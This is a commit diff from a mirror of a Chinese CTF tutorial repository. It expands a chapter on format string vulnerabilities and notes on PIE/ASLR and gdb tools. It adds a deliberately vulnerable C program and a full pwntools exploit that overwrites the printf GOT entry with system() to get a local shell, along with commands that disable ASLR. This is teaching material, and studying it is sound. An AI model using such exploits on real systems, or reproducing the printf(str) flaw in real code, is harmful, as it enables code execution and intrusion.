mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update format string
This commit is contained in:
parent
2c0cb373ec
commit
0b9bc02dd8
@ -19,7 +19,11 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup
|
||||
|
||||
yaourt -S:
|
||||
|
||||
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git
|
||||
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec
|
||||
|
||||
pip3/pip2 install:
|
||||
|
||||
r2pipe
|
||||
```
|
||||
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
- [gdb 基本工作原理](#gdb-基本工作原理)
|
||||
- [gdb 基本操作](#gdb-基本操作)
|
||||
- [gdb-peda](#gdb-peda)
|
||||
- [GEF/pwngdb](#gefpwngdb)
|
||||
- [GEF/pwndbg](#gefpwndbg)
|
||||
|
||||
|
||||
## gdb 的组成架构
|
||||
@ -80,7 +80,7 @@ $ echo "DONE! debug your program with gdb and enjoy"
|
||||
- `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作
|
||||
|
||||
|
||||
## GEF/pwngdb
|
||||
## GEF/pwndbg
|
||||
除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。
|
||||
- [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers
|
||||
- [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy
|
||||
|
@ -7,9 +7,11 @@
|
||||
|
||||
|
||||
## 格式化输出函数和格式字符串
|
||||
|
||||
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
|
||||
|
||||
#### 函数
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -21,6 +23,7 @@ int snprintf(char *str, size_t size, const char *format, ...);
|
||||
```
|
||||
|
||||
#### 转换指示符
|
||||
|
||||
字符 | 类型 | 使用
|
||||
--- | --- | ---
|
||||
d | 4-byte | Integer
|
||||
@ -30,6 +33,7 @@ s | 4-byte ptr | String
|
||||
c | 1-byte | Character
|
||||
|
||||
#### 长度
|
||||
|
||||
字符 | 类型 | 使用
|
||||
--- | --- | ---
|
||||
hh | 1-byte | char
|
||||
@ -38,6 +42,7 @@ l | 4-byte | long int
|
||||
ll | 8-byte | long long int
|
||||
|
||||
#### 示例
|
||||
|
||||
```
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
@ -57,6 +62,7 @@ printf("%s%n", "01234", &n); // n = 5
|
||||
|
||||
|
||||
## 格式化字符串漏洞基本原理
|
||||
|
||||
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
|
||||
```c
|
||||
#include<stdio.h>
|
||||
@ -265,9 +271,11 @@ Hello 32 f7f95580 565555f4 !
|
||||
|
||||
|
||||
## 格式化字符串漏洞
|
||||
|
||||
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
|
||||
|
||||
#### 使程序崩溃
|
||||
|
||||
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
|
||||
|
||||
利用类似下面的格式字符串即可触发漏洞:
|
||||
@ -279,6 +287,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
|
||||
|
||||
#### 查看栈内容
|
||||
|
||||
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
|
||||
|
||||
|
||||
@ -290,3 +299,104 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
|
||||
|
||||
## CTF 中的格式化字符串漏洞
|
||||
|
||||
#### pwntools pwnlib.fmtster
|
||||
|
||||
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
|
||||
|
||||
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。
|
||||
|
||||
`FmtStr` 提供了自动化的字符串漏洞利用:
|
||||
```python
|
||||
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
|
||||
```
|
||||
- execute_fmt (function):与漏洞进程进行交互的函数
|
||||
- offset (int):你控制的第一个格式化程序的偏移量
|
||||
- padlen (int):在 paylod 之前添加的 pad 的大小
|
||||
- numbwritten (int):已经写入的字节数
|
||||
|
||||
`fmtstr_payload` 用于自动生成格式化字符串 paylod:
|
||||
```python
|
||||
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
|
||||
```
|
||||
- offset (int):你控制的第一个格式化程序的偏移量
|
||||
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got})
|
||||
- numbwritten (int):已经由 printf 函数写入的字节数
|
||||
- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)
|
||||
|
||||
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
char str[1024];
|
||||
while(1) {
|
||||
memset(str, '\0', 1024);
|
||||
read(0, str, 1024);
|
||||
printf(str);
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
为了简单一点,我们关闭 ASLR,并使用下面的命令编译:
|
||||
```
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
|
||||
```
|
||||
|
||||
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
|
||||
|
||||
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址:
|
||||
```text
|
||||
gdb-peda$ b main
|
||||
...
|
||||
gdb-peda$ r
|
||||
...
|
||||
gdb-peda$ p system
|
||||
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
|
||||
```
|
||||
|
||||
完整漏洞利用代码如下:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = ELF('./a.out')
|
||||
r = process('./a.out')
|
||||
|
||||
def exec_fmt(payload):
|
||||
r.sendline(payload)
|
||||
info = r.recv()
|
||||
return info
|
||||
auto = FmtStr(exec_fmt)
|
||||
offset = auto.offset
|
||||
|
||||
print_got = elf.got['printf']
|
||||
log.success("print_got => {}".format(hex(print_got)))
|
||||
|
||||
system_addr = 0xf7e17060
|
||||
log.success("system_addr => {}".format(hex(system_addr)))
|
||||
|
||||
payload = fmtstr_payload(offset, {print_got : system_addr})
|
||||
r.send(payload)
|
||||
r.send('/bin/sh')
|
||||
r.recv()
|
||||
r.interactive()
|
||||
```
|
||||
|
||||
这样就获得了 shell:
|
||||
```text
|
||||
$ python2 exp.py
|
||||
[*] '/home/firmy/Desktop/RE4B/a.out'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
[+] Starting local process './a.out': pid 15698
|
||||
[*] Found format string offset: 4
|
||||
[+] print_got => 0x804a010
|
||||
[+] system_addr => 0xf7e17060
|
||||
[*] Switching to interactive mode
|
||||
$ echo "hacked!"
|
||||
hacked!
|
||||
```
|
||||
|
@ -145,7 +145,7 @@ Partial RELRO Canary found NX enabled PIE enabled No RPATH No RU
|
||||
No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。其绕过方法是 ret2libc。
|
||||
|
||||
#### PIE
|
||||
PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。
|
||||
PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。
|
||||
|
||||
我们通过实际例子来探索一下 PIE 和 ASLR:
|
||||
```c
|
||||
@ -154,6 +154,54 @@ void main() {
|
||||
printf("%p\n", main);
|
||||
}
|
||||
```
|
||||
```text
|
||||
$ gcc -m32 -pie random.c -o open-pie
|
||||
$ readelf -h open-pie
|
||||
ELF Header:
|
||||
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
|
||||
Class: ELF32
|
||||
Data: 2's complement, little endian
|
||||
Version: 1 (current)
|
||||
OS/ABI: UNIX - System V
|
||||
ABI Version: 0
|
||||
Type: DYN (Shared object file)
|
||||
Machine: Intel 80386
|
||||
Version: 0x1
|
||||
Entry point address: 0x400
|
||||
Start of program headers: 52 (bytes into file)
|
||||
Start of section headers: 6132 (bytes into file)
|
||||
Flags: 0x0
|
||||
Size of this header: 52 (bytes)
|
||||
Size of program headers: 32 (bytes)
|
||||
Number of program headers: 9
|
||||
Size of section headers: 40 (bytes)
|
||||
Number of section headers: 30
|
||||
Section header string table index: 29
|
||||
$ gcc -m32 -no-pie random.c -o close-pie
|
||||
$ readelf -h close-pie
|
||||
ELF Header:
|
||||
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
|
||||
Class: ELF32
|
||||
Data: 2's complement, little endian
|
||||
Version: 1 (current)
|
||||
OS/ABI: UNIX - System V
|
||||
ABI Version: 0
|
||||
Type: EXEC (Executable file)
|
||||
Machine: Intel 80386
|
||||
Version: 0x1
|
||||
Entry point address: 0x8048310
|
||||
Start of program headers: 52 (bytes into file)
|
||||
Start of section headers: 5964 (bytes into file)
|
||||
Flags: 0x0
|
||||
Size of this header: 52 (bytes)
|
||||
Size of program headers: 32 (bytes)
|
||||
Number of program headers: 9
|
||||
Size of section headers: 40 (bytes)
|
||||
Number of section headers: 30
|
||||
Section header string table index: 29
|
||||
```
|
||||
可以看到两者的不同在 `Type` 和 `Entry point address`。
|
||||
|
||||
首先我们关闭 ASLR,使用 `-pie` 进行编译:
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
@ -261,11 +309,11 @@ RELRO | -z now | -z lazy | -z norelro
|
||||
|
||||
关闭所有保护:
|
||||
```text
|
||||
gcc hello.c -o hello-L -fstack-protector -z execstack -no-pie -z norelro
|
||||
gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro
|
||||
```
|
||||
开启所有保护:
|
||||
```text
|
||||
gcc hello.c -o hello-S -fstack-protector-all -z noexecstack -pie -z now
|
||||
gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now
|
||||
```
|
||||
|
||||
- FORTIFY
|
||||
|
BIN
src/Others/3.3.1_fmt
Executable file
BIN
src/Others/3.3.1_fmt
Executable file
Binary file not shown.
10
src/Others/3.3.1_fmt.c
Normal file
10
src/Others/3.3.1_fmt.c
Normal file
@ -0,0 +1,10 @@
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
char str[1024];
|
||||
while(1) {
|
||||
memset(str, '\0', 1024);
|
||||
read(0, str, 1024);
|
||||
printf(str);
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user